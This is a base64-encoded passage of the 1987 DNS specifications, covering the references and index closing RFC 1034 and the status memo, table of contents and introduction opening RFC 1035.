yaWJlcyB0aGUgcmVnaXN0cmF0aW9uIHBvbGljaWVzIHVzZWQgYnkgdGhlIE5JQyB0bwogICAgICAgICAgICAgICAgYWRtaW5pc3RlciB0aGUgdG9wIGxldmVsIGRvbWFpbnMgYW5kIGRlbGVnYXRlIHN1YnpvbmVzLgoKW1JGQy0xMDMzXSAgICAgIE0uIEsuIExvdHRvciwgIkRvbWFpbiBBZG1pbmlzdHJhdG9ycyBPcGVyYXRpb25zIEd1aWRlIiwKICAgICAgICAgICAgICAgIFJGQy0xMDMzLCBOb3ZlbWJlciAxOTg3LgoKICAgICAgICAgICAgICAgIEEgY29va2Jvb2sgZm9yIGRvbWFpbiBhZG1pbmlzdHJhdG9ycy4KCltTb2xvbW9uIDgyXSAgICBNLiBTb2xvbW9uLCBMLiBMYW5kd2ViZXIsIGFuZCBELiBOZXVoZW5nZW4sICJUaGUgQ1NORVQKICAgICAgICAgICAgICAgIE5hbWUgU2VydmVyIiwgQ29tcHV0ZXIgTmV0d29ya3MsIHZvbCA2LCBuciAzLCBKdWx5IDE5ODIuCgogICAgICAgICAgICAgICAgRGVzY3JpYmVzIGEgbmFtZSBzZXJ2aWNlIGZvciBDU05FVCB3aGljaCBpcyBpbmRlcGVuZGVudAogICAgICAgICAgICAgICAgZnJvbSB0aGUgRE5TIGFuZCBETlMgdXNlIGluIHRoZSBDU05FVC4KCgoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSA1M10KDApSRkMgMTAzNCAgICAgICAgICAgICBEb21haW4gQ29uY2VwdHMgYW5kIEZhY2lsaXRpZXMgICAgICAgIE5vdmVtYmVyIDE5ODcKCgpJbmRleAoKICAgICAgICAgIEEgICAxMgogICAgICAgICAgQWJzb2x1dGUgbmFtZXMgICA4CiAgICAgICAgICBBbGlhc2VzICAgMTQsIDMxCiAgICAgICAgICBBdXRob3JpdHkgICA2CiAgICAgICAgICBBWEZSICAgMTcKCiAgICAgICAgICBDYXNlIG9mIGNoYXJhY3RlcnMgICA3CiAgICAgICAgICBDSCAgIDEyCiAgICAgICAgICBDTkFNRSAgIDEyLCAxMywgMzEKICAgICAgICAgIENvbXBsZXRpb24gcXVlcmllcyAgIDE4CgogICAgICAgICAgRG9tYWluIG5hbWUgICA2LCA3CgogICAgICAgICAgR2x1ZSBSUnMgICAyMAoKICAgICAgICAgIEhJTkZPICAgMTIKCiAgICAgICAgICBJTiAgIDEyCiAgICAgICAgICBJbnZlcnNlIHF1ZXJpZXMgICAxNgogICAgICAgICAgSXRlcmF0aXZlICAgNAoKICAgICAgICAgIExhYmVsICAgNwoKICAgICAgICAgIE1haWxib3ggbmFtZXMgICA5CiAgICAgICAgICBNWCAgIDEyCgogICAgICAgICAgTmFtZSBlcnJvciAgIDI3LCAzNgogICAgICAgICAgTmFtZSBzZXJ2ZXJzICAgNSwgMTcKICAgICAgICAgIE5FICAgMzAKICAgICAgICAgIE5lZ2F0aXZlIGNhY2hpbmcgICA0NAogICAgICAgICAgTlMgICAxMgoKICAgICAgICAgIE9wY29kZSAgIDE2CgogICAgICAgICAgUFRSICAgMTIKCiAgICAgICAgICBRQ0xBU1MgICAxNgogICAgICAgICAgUVRZUEUgICAxNgoKICAgICAgICAgIFJEQVRBICAgMTMKICAgICAgICAgIFJlY3Vyc2l2ZSAgIDQKICAgICAgICAgIFJlY3Vyc2l2ZSBzZXJ2aWNlICAgMjIKICAgICAgICAgIFJlbGF0aXZlIG5hbWVzICAgNwogICAgICAgICAgUmVzb2x2ZXJzICAgNgogICAgICAgICAgUlIgICAxMgoKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgNTRdCgwKUkZDIDEwMzQgICAgICAgICAgICAgRG9tYWluIENvbmNlcHRzIGFuZCBGYWNpbGl0aWVzICAgICAgICBOb3ZlbWJlciAxOTg3CgoKICAgICAgICAgIFNhZmV0eSBiZWx0ICAgMzMKICAgICAgICAgIFNlY3Rpb25zICAgMTYKICAgICAgICAgIFNPQSAgIDEyCiAgICAgICAgICBTdGFuZGFyZCBxdWVyaWVzICAgMjIKCiAgICAgICAgICBTdGF0dXMgcXVlcmllcyAgIDE4CiAgICAgICAgICBTdHViIHJlc29sdmVycyAgIDMyCgogICAgICAgICAgVFRMICAgMTIsIDEzCgogICAgICAgICAgV2lsZGNhcmRzICAgMjUKCiAgICAgICAgICBab25lIHRyYW5zZmVycyAgIDI4CiAgICAgICAgICBab25lcyAgIDE5CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSA1NV0KDApOZXR3b3JrIFdvcmtpbmcgR3JvdXAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUC4gTW9ja2FwZXRyaXMKUmVxdWVzdCBmb3IgQ29tbWVudHM6IDEwMzUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSVNJCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTm92ZW1iZXIgMTk4NwpPYnNvbGV0ZXM6IFJGQ3MgODgyLCA4ODMsIDk3MwoKICAgICAgICAgICAgRE9NQUlOIE5BTUVTIC0gSU1QTEVNRU5UQVRJT04gQU5EIFNQRUNJRklDQVRJT04KCgoxLiBTVEFUVVMgT0YgVEhJUyBNRU1PCgpUaGlzIFJGQyBkZXNjcmliZXMgdGhlIGRldGFpbHMgb2YgdGhlIGRvbWFpbiBzeXN0ZW0gYW5kIHByb3RvY29sLCBhbmQKYXNzdW1lcyB0aGF0IHRoZSByZWFkZXIgaXMgZmFtaWxpYXIgd2l0aCB0aGUgY29uY2VwdHMgZGlzY3Vzc2VkIGluIGEKY29tcGFuaW9uIFJGQywgIkRvbWFpbiBOYW1lcyAtIENvbmNlcHRzIGFuZCBGYWNpbGl0aWVzIiBbUkZDLTEwMzRdLgoKVGhlIGRvbWFpbiBzeXN0ZW0gaXMgYSBtaXh0dXJlIG9mIGZ1bmN0aW9ucyBhbmQgZGF0YSB0eXBlcyB3aGljaCBhcmUgYW4Kb2ZmaWNpYWwgcHJvdG9jb2wgYW5kIGZ1bmN0aW9ucyBhbmQgZGF0YSB0eXBlcyB3aGljaCBhcmUgc3RpbGwKZXhwZXJpbWVudGFsLiAgU2luY2UgdGhlIGRvbWFpbiBzeXN0ZW0gaXMgaW50ZW50aW9uYWxseSBleHRlbnNpYmxlLCBuZXcKZGF0YSB0eXBlcyBhbmQgZXhwZXJpbWVudGFsIGJlaGF2aW9yIHNob3VsZCBhbHdheXMgYmUgZXhwZWN0ZWQgaW4gcGFydHMKb2YgdGhlIHN5c3RlbSBiZXlvbmQgdGhlIG9mZmljaWFsIHByb3RvY29sLiAgVGhlIG9mZmljaWFsIHByb3RvY29sIHBhcnRzCmluY2x1ZGUgc3RhbmRhcmQgcXVlcmllcywgcmVzcG9uc2VzIGFuZCB0aGUgSW50ZXJuZXQgY2xhc3MgUlIgZGF0YQpmb3JtYXRzIChlLmcuLCBob3N0IGFkZHJlc3NlcykuICBTaW5jZSB0aGUgcHJldmlvdXMgUkZDIHNldCwgc2V2ZXJhbApkZWZpbml0aW9ucyBoYXZlIGNoYW5nZWQsIHNvIHNvbWUgcHJldmlvdXMgZGVmaW5pdGlvbnMgYXJlIG9ic29sZXRlLgoKRXhwZXJpbWVudGFsIG9yIG9ic29sZXRlIGZlYXR1cmVzIGFyZSBjbGVhcmx5IG1hcmtlZCBpbiB0aGVzZSBSRkNzLCBhbmQKc3VjaCBpbmZvcm1hdGlvbiBzaG91bGQgYmUgdXNlZCB3aXRoIGNhdXRpb24uCgpUaGUgcmVhZGVyIGlzIGVzcGVjaWFsbHkgY2F1dGlvbmVkIG5vdCB0byBkZXBlbmQgb24gdGhlIHZhbHVlcyB3aGljaAphcHBlYXIgaW4gZXhhbXBsZXMgdG8gYmUgY3VycmVudCBvciBjb21wbGV0ZSwgc2luY2UgdGhlaXIgcHVycG9zZSBpcwpwcmltYXJpbHkgcGVkYWdvZ2ljYWwuICBEaXN0cmlidXRpb24gb2YgdGhpcyBtZW1vIGlzIHVubGltaXRlZC4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgIFRhYmxlIG9mIENvbnRlbnRzCgogIDEuIFNUQVRVUyBPRiBUSElTIE1FTU8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMQogIDIuIElOVFJPRFVDVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMwogICAgICAyLjEuIE92ZXJ2aWV3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMwogICAgICAyLjIuIENvbW1vbiBjb25maWd1cmF0aW9ucyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNAogICAgICAyLjMuIENvbnZlbnRpb25zICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNwogICAgICAgICAgMi4zLjEuIFByZWZlcnJlZCBuYW1lIHN5bnRheCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNwogICAgICAgICAgMi4zLjIuIERhdGEgVHJhbnNtaXNzaW9uIE9yZGVyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgOAogICAgICAgICAgMi4zLjMuIENoYXJhY3RlciBDYXNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgOQogICAgICAgICAgMi4zLjQuIFNpemUgbGltaXRzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMAogIDMuIERPTUFJTiBOQU1FIFNQQUNFIEFORCBSUiBERUZJTklUSU9OUyAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMAogICAgICAzLjEuIE5hbWUgc3BhY2UgZGVmaW5pdGlvbnMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMAogICAgICAzLjIuIFJSIGRlZmluaXRpb25zICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMQogICAgICAgICAgMy4yLjEuIEZvcm1hdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMQogICAgICAgICAgMy4yLjIuIFRZUEUgdmFsdWVzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMgogICAgICAgICAgMy4yLjMuIFFUWVBFIHZhbHVlcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMgogICAgICAgICAgMy4yLjQuIENMQVNTIHZhbHVlcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMwoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMV0KDApSRkMgMTAzNSAgICAgICAgRG9tYWluIEltcGxlbWVudGF0aW9uIGFuZCBTcGVjaWZpY2F0aW9uICAgIE5vdmVtYmVyIDE5ODcKCgogICAgICAgICAgMy4yLjUuIFFDTEFTUyB2YWx1ZXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMwogICAgICAzLjMuIFN0YW5kYXJkIFJScyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMwogICAgICAgICAgMy4zLjEuIENOQU1FIFJEQVRBIGZvcm1hdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxNAogICAgICAgICAgMy4zLjIuIEhJTkZPIFJEQVRBIGZvcm1hdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxNAogICAgICAgICAgMy4zLjMuIE1CIFJEQVRBIGZvcm1hdCAoRVhQRVJJTUVOVEFMKSAgICAgICAgICAgICAgICAgICAgICAxNAogICAgICAgICAgMy4zLjQuIE1EIFJEQVRBIGZvcm1hdCAoT2Jzb2xldGUpICAgICAgICAgICAgICAgICAgICAgICAgICAxNQogICAgICAgICAgMy4zLjUuIE1GIFJEQVRBIGZvcm1hdCAoT2Jzb2xldGUpICAgICAgICAgICAgICAgICAgICAgICAgICAxNQogICAgICAgICAgMy4zLjYuIE1HIFJEQVRBIGZvcm1hdCAoRVhQRVJJTUVOVEFMKSAgICAgICAgICAgICAgICAgICAgICAxNgogICAgICAgICAgMy4zLjcuIE1JTkZPIFJEQVRBIGZvcm1hdCAoRVhQRVJJTUVOVEFMKSAgICAgICAgICAgICAgICAgICAxNgogICAgICAgICAgMy4zLjguIE1SIFJEQVRBIGZvcm1hdCAoRVhQRVJJTUVOVEFMKSAgICAgICAgICAgICAgICAgICAgICAxNwogICAgICAgICAgMy4zLjkuIE1YIFJEQVRBIGZvcm1hdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxNwogICAgICAgICAgMy4zLjEwLiBOVUxMIFJEQVRBIGZvcm1hdCAoRVhQRVJJTUVOVEFMKSAgICAgICAgICAgICAgICAgICAxNwogICAgICAgICAgMy4zLjExLiBOUyBSREFUQSBmb3JtYXQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxOAogICAgICAgICAgMy4zLjEyLiBQVFIgUkRBVEEgZm9ybWF0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxOAogICAgICAgICAgMy4zLjEzLiBTT0EgUkRBVEEgZm9ybWF0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxOQogICAgICAgICAgMy4zLjE0LiBUWFQgUkRBVEEgZm9ybWF0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyMAogICAgICAzLjQuIEFSUEEgSW50ZXJuZXQgc3BlY2lmaWMgUlJzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyMAogICAgICAgICAgMy40LjEuIEEgUkRBVEEgZm9ybWF0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyMAogICAgICAgICAgMy40LjIuIFdLUyBSREFUQSBmb3JtYXQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyMQogICAgICAzLjUuIElOLUFERFIuQVJQQSBkb21haW4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyMgogICAgICAzLjYuIERlZmluaW5nIG5ldyB0eXBlcywgY2xhc3NlcywgYW5kIHNwZWNpYWwgbmFtZXNwYWNlcyAgICAgICAyNAogIDQuIE1FU1NBR0VTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyNQogICAgICA0LjEuIEZvcm1hdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyNQogICAgICAgICAgNC4xLjEuIEhlYWRlciBzZWN0aW9uIGZvcm1hdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyNgogICAgICAgICAgNC4xLjIuIFF1ZXN0aW9uIHNlY3Rpb24gZm9ybWF0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyOAogICAgICAgICAgNC4xLjMuIFJlc291cmNlIHJlY29yZCBmb3JtYXQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyOQogICAgICAgICAgNC4xLjQuIE1lc3NhZ2UgY29tcHJlc3Npb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAzMAogICAgICA0LjIuIFRyYW5zcG9ydCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAzMgogICAgICAgICAgNC4yLjEuIFVEUCB1c2FnZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAzMgogICAgICAgICAgNC4yLjIuIFRDUCB1c2FnZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAzMgogIDUuIE1BU1RFUiBGSUxFUyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAzMwogICAgICA1LjEuIEZvcm1hdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAzMwogICAgICA1LjIuIFVzZSBvZiBtYXN0ZXIgZmlsZXMgdG8gZGVmaW5lIHpvbmVzICAgICAgICAgICAgICAgICAgICAgICAzNQogICAgICA1LjMuIE1hc3RlciBmaWxlIGV4YW1wbGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAzNgogIDYuIE5BTUUgU0VSVkVSIElNUExFTUVOVEFUSU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAzNwogICAgICA2LjEuIEFyY2hpdGVjdHVyZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAzNwogICAgICAgICAgNi4xLjEuIENvbnRyb2wgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAzNwogICAgICAgICAgNi4xLjIuIERhdGFiYXNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAzNwogICAgICAgICAgNi4xLjMuIFRpbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAzOQogICAgICA2LjIuIFN0YW5kYXJkIHF1ZXJ5IHByb2Nlc3NpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAzOQogICAgICA2LjMuIFpvbmUgcmVmcmVzaCBhbmQgcmVsb2FkIHByb2Nlc3NpbmcgICAgICAgICAgICAgICAgICAgICAgICAzOQogICAgICA2LjQuIEludmVyc2UgcXVlcmllcyAoT3B0aW9uYWwpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0MAogICAgICAgICAgNi40LjEuIFRoZSBjb250ZW50cyBvZiBpbnZlcnNlIHF1ZXJpZXMgYW5kIHJlc3BvbnNlcyAgICAgICA0MAogICAgICAgICAgNi40LjIuIEludmVyc2UgcXVlcnkgYW5kIHJlc3BvbnNlIGV4YW1wbGUgICAgICAgICAgICAgICAgICA0MQogICAgICAgICAgNi40LjMuIEludmVyc2UgcXVlcnkgcHJvY2Vzc2luZyAgICAgICAgICAgICAgICAgICAgICAgICAgICA0MgoKCgoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMl0KDApSRkMgMTAzNSAgICAgICAgRG9tYWluIEltcGxlbWVudGF0aW9uIGFuZCBTcGVjaWZpY2F0aW9uICAgIE5vdmVtYmVyIDE5ODcKCgogICAgICA2LjUuIENvbXBsZXRpb24gcXVlcmllcyBhbmQgcmVzcG9uc2VzICAgICAgICAgICAgICAgICAgICAgICAgICA0MgogIDcuIFJFU09MVkVSIElNUExFTUVOVEFUSU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0MwogICAgICA3LjEuIFRyYW5zZm9ybWluZyBhIHVzZXIgcmVxdWVzdCBpbnRvIGEgcXVlcnkgICAgICAgICAgICAgICAgICA0MwogICAgICA3LjIuIFNlbmRpbmcgdGhlIHF1ZXJpZXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0NAogICAgICA3LjMuIFByb2Nlc3NpbmcgcmVzcG9uc2VzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0NgogICAgICA3LjQuIFVzaW5nIHRoZSBjYWNoZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0NwogIDguIE1BSUwgU1VQUE9SVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0NwogICAgICA4LjEuIE1haWwgZXhjaGFuZ2UgYmluZGluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0OAogICAgICA4LjIuIE1haWxib3ggYmluZGluZyAoRXhwZXJpbWVudGFsKSAgICAgICAgICAgICAgICAgICAgICAgICAgICA0OAogIDkuIFJFRkVSRU5DRVMgYW5kIEJJQkxJT0dSQVBIWSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1MAogIEluZGV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1NAoKMi4gSU5UUk9EVUNUSU9OCgoyLjEuIE92ZXJ2aWV3CgpUaGUgZ29hbCBvZiBkb21haW4gbmFtZXMgaXMgdG8gcHJvdmlkZSBhIG1lY2hhbmlzbSBmb3IgbmFtaW5nIHJlc291cmNlcwppbiBzdWNoIGEgd2F5IHRoYXQgdGhlIG5hbWVzIGFyZSB1c2FibGUgaW4gZGlmZmVyZW50IGhvc3RzLCBuZXR3b3JrcywKcHJvdG9jb2wgZmFtaWxpZXMsIGludGVybmV0cywgYW5kIGFkbWluaXN0cmF0aXZlIG9yZ2FuaXphdGlvbnMuCgpGcm9tIHRoZSB1c2VyJ3MgcG9pbnQgb2YgdmlldywgZG9tYWluIG5hbWVzIGFyZSB1c2VmdWwgYXMgYXJndW1lbnRzIHRvIGEKbG9jYWwgYWdlbnQsIGNhbGxlZCBhIHJlc29sdmVyLCB3aGljaCByZXRyaWV2ZXMgaW5mb3JtYXRpb24gYXNzb2NpYXRlZAp3aXRoIHRoZSBkb21haW4gbmFtZS4gIFRodXMgYSB1c2VyIG1pZ2h0IGFzayBmb3IgdGhlIGhvc3QgYWRkcmVzcyBvcgptYWlsIGluZm9ybWF0aW9uIGFzc29jaWF0ZWQgd2l0aCBhIHBhcnRpY3VsYXIgZG9tYWluIG5hbWUuICBUbyBlbmFibGUKdGhlIHVzZXIgdG8gcmVxdWVzdCBhIHBhcnRpY3VsYXIgdHlwZSBvZiBpbmZvcm1hdGlvbiwgYW4gYXBwcm9wcmlhdGUKcXVlcnkgdHlwZSBpcyBwYXNzZWQgdG8gdGhlIHJlc29sdmVyIHdpdGggdGhlIGRvbWFpbiBuYW1lLiAgVG8gdGhlIHVzZXIsCnRoZSBkb21haW4gdHJlZSBpcyBhIHNpbmdsZSBpbmZvcm1hdGlvbiBzcGFjZTsgdGhlIHJlc29sdmVyIGlzCnJlc3BvbnNpYmxlIGZvciBoaWRpbmcgdGhlIGRpc3RyaWJ1dGlvbiBvZiBkYXRhIGFtb25nIG5hbWUgc2VydmVycyBmcm9tCnRoZSB1c2VyLgoKRnJvbSB0aGUgcmVzb2x2ZXIncyBwb2ludCBvZiB2aWV3LCB0aGUgZGF0YWJhc2UgdGhhdCBtYWtlcyB1cCB0aGUgZG9tYWluCnNwYWNlIGlzIGRpc3RyaWJ1dGVkIGFtb25nIHZhcmlvdXMgbmFtZSBzZXJ2ZXJzLiAgRGlmZmVyZW50IHBhcnRzIG9mIHRoZQpkb21haW4gc3BhY2UgYXJlIHN0b3JlZCBpbiBkaWZmZXJlbnQgbmFtZSBzZXJ2ZXJzLCBhbHRob3VnaCBhIHBhcnRpY3VsYXIKZGF0YSBpdGVtIHdpbGwgYmUgc3RvcmVkIHJlZHVuZGFudGx5IGluIHR3byBvciBtb3JlIG5hbWUgc2VydmVycy4gIFRoZQpyZXNvbHZlciBzdGFydHMgd2l0aCBrbm93bGVkZ2Ugb2YgYXQgbGVhc3Qgb25lIG5hbWUgc2VydmVyLiAgV2hlbiB0aGUKcmVzb2x2ZXIgcHJvY2Vzc2VzIGEgdXNlciBxdWVyeSBpdCBhc2tzIGEga25vd24gbmFtZSBzZXJ2ZXIgZm9yIHRoZQppbmZvcm1hdGlvbjsgaW4gcmV0dXJuLCB0aGUgcmVzb2x2ZXIgZWl0aGVyIHJlY2VpdmVzIHRoZSBkZXNpcmVkCmluZm9ybWF0aW9uIG9yIGEgcmVmZXJyYWwgdG8gYW5vdGhlciBuYW1lIHNlcnZlci4gIFVzaW5nIHRoZXNlCnJlZmVycmFscywgcmVzb2x2ZXJzIGxlYXJuIHRoZSBpZGVudGl0aWVzIGFuZCBjb250ZW50cyBvZiBvdGhlciBuYW1lCnNlcnZlcnMuICBSZXNvbHZlcnMgYXJlIHJlc3BvbnNpYmxlIGZvciBkZWFsaW5nIHdpdGggdGhlIGRpc3RyaWJ1dGlvbiBvZgp0aGUgZG9tYWluIHNwYWNlIGFuZCBkZWFsaW5nIHdpdGggdGhlIGVmZmVjdHMgb2YgbmFtZSBzZXJ2ZXIgZmFpbHVyZSBieQpjb25zdWx0aW5nIHJlZHVuZGFudCBkYXRhYmFzZXMgaW4gb3RoZXIgc2VydmVycy4KCk5hbWUgc2VydmVycyBtYW5hZ2UgdHdvIGtpbmRzIG9mIGRhdGEuICBUaGUgZmlyc3Qga2luZCBvZiBkYXRhIGhlbGQgaW4Kc2V0cyBjYWxsZWQgem9uZXM7IGVhY2ggem9uZSBpcyB0aGUgY29tcGxldGUgZGF0YWJhc2UgZm9yIGEgcGFydGljdWxhcgoicHJ1bmVkIiBzdWJ0cmVlIG9mIHRoZSBkb21haW4gc3BhY2UuICBUaGlzIGRhdGEgaXMgY2FsbGVkCmF1dGhvcml0YXRpdmUuICBBIG5hbWUgc2VydmVyIHBlcmlvZGljYWxseSBjaGVja3MgdG8gbWFrZSBzdXJlIHRoYXQgaXRzCnpvbmVzIGFyZSB1cCB0byBkYXRlLCBhbmQgaWYgbm90LCBvYnRhaW5zIGEgbmV3IGNvcHkgb2YgdXBkYXRlZCB6b25lcwoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgM10KDApSRkMgMTAzNSAgICAgICAgRG9tYWluIEltcGxlbWVudGF0aW9uIGFuZCBTcGVjaWZpY2F0aW9uICAgIE5vdmVtYmVyIDE5ODcKCgpmcm9tIG1hc3RlciBmaWxlcyBzdG9yZWQgbG9jYWxseSBvciBpbiBhbm90aGVyIG5hbWUgc2VydmVyLiAgVGhlIHNlY29uZApraW5kIG9mIGRhdGEgaXMgY2FjaGVkIGRhdGEgd2hpY2ggd2FzIGFjcXVpcmVkIGJ5IGEgbG9jYWwgcmVzb2x2ZXIuClRoaXMgZGF0YSBtYXkgYmUgaW5jb21wbGV0ZSwgYnV0IGltcHJvdmVzIHRoZSBwZXJmb3JtYW5jZSBvZiB0aGUKcmV0cmlldmFsIHByb2Nlc3Mgd2hlbiBub24tbG9jYWwgZGF0YSBpcyByZXBlYXRlZGx5IGFjY2Vzc2VkLiAgQ2FjaGVkCmRhdGEgaXMgZXZlbnR1YWxseSBkaXNjYXJkZWQgYnkgYSB0aW1lb3V0IG1lY2hhbmlzbS4KClRoaXMgZnVuY3Rpb25hbCBzdHJ1Y3R1cmUgaXNvbGF0ZXMgdGhlIHByb2JsZW1zIG9mIHVzZXIgaW50ZXJmYWNlLApmYWlsdXJlIHJlY292ZXJ5LCBhbmQgZGlzdHJpYnV0aW9uIGluIHRoZSByZXNvbHZlcnMgYW5kIGlzb2xhdGVzIHRoZQpkYXRhYmFzZSB1cGRhdGUgYW5kIHJlZnJlc2ggcHJvYmxlbXMgaW4gdGhlIG5hbWUgc2VydmVycy4KCjIuMi4gQ29tbW9uIGNvbmZpZ3VyYXRpb25zCgpBIGhvc3QgY2FuIHBhcnRpY2lwYXRlIGluIHRoZSBkb21haW4gbmFtZSBzeXN0ZW0gaW4gYSBudW1iZXIgb2Ygd2F5cywKZGVwZW5kaW5nIG9uIHdoZXRoZXIgdGhlIGhvc3QgcnVucyBwcm9ncmFtcyB0aGF0IHJldHJpZXZlIGluZm9ybWF0aW9uCmZyb20gdGhlIGRvbWFpbiBzeXN0ZW0sIG5hbWUgc2VydmVycyB0aGF0IGFuc3dlciBxdWVyaWVzIGZyb20gb3RoZXIKaG9zdHMsIG9yIHZhcmlvdXMgY29tYmluYXRpb25zIG9mIGJvdGggZnVuY3Rpb25zLiAgVGhlIHNpbXBsZXN0LCBhbmQKcGVyaGFwcyBtb3N0IHR5cGljYWwsIGNvbmZpZ3VyYXRpb24gaXMgc2hvd24gYmVsb3c6CgogICAgICAgICAgICAgICAgIExvY2FsIEhvc3QgICAgICAgICAgICAgICAgICAgICAgICB8ICBGb3JlaWduCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICstLS0tLS0tLS0rICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0rICAgICAgICAgfCAgKy0tLS0tLS0tKwogICAgfCAgICAgICAgIHwgdXNlciBxdWVyaWVzICB8ICAgICAgICAgIHxxdWVyaWVzICB8ICB8ICAgICAgICB8CiAgICB8ICBVc2VyICAgfC0tLS0tLS0tLS0tLS0tPnwgICAgICAgICAgfC0tLS0tLS0tLXwtPnxGb3JlaWduIHwKICAgIHwgUHJvZ3JhbSB8ICAgICAgICAgICAgICAgfCBSZXNvbHZlciB8ICAgICAgICAgfCAgfCAgTmFtZSAgfAogICAgfCAgICAgICAgIHw8LS0tLS0tLS0tLS0tLS18ICAgICAgICAgIHw8LS0tLS0tLS18LS18IFNlcnZlciB8CiAgICB8ICAgICAgICAgfCB1c2VyIHJlc3BvbnNlc3wgICAgICAgICAgfHJlc3BvbnNlc3wgIHwgICAgICAgIHwKICAgICstLS0tLS0tLS0rICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0rICAgICAgICAgfCAgKy0tLS0tLS0tKwogICAgICAgICAgICAgICAgICAgICAgICAgI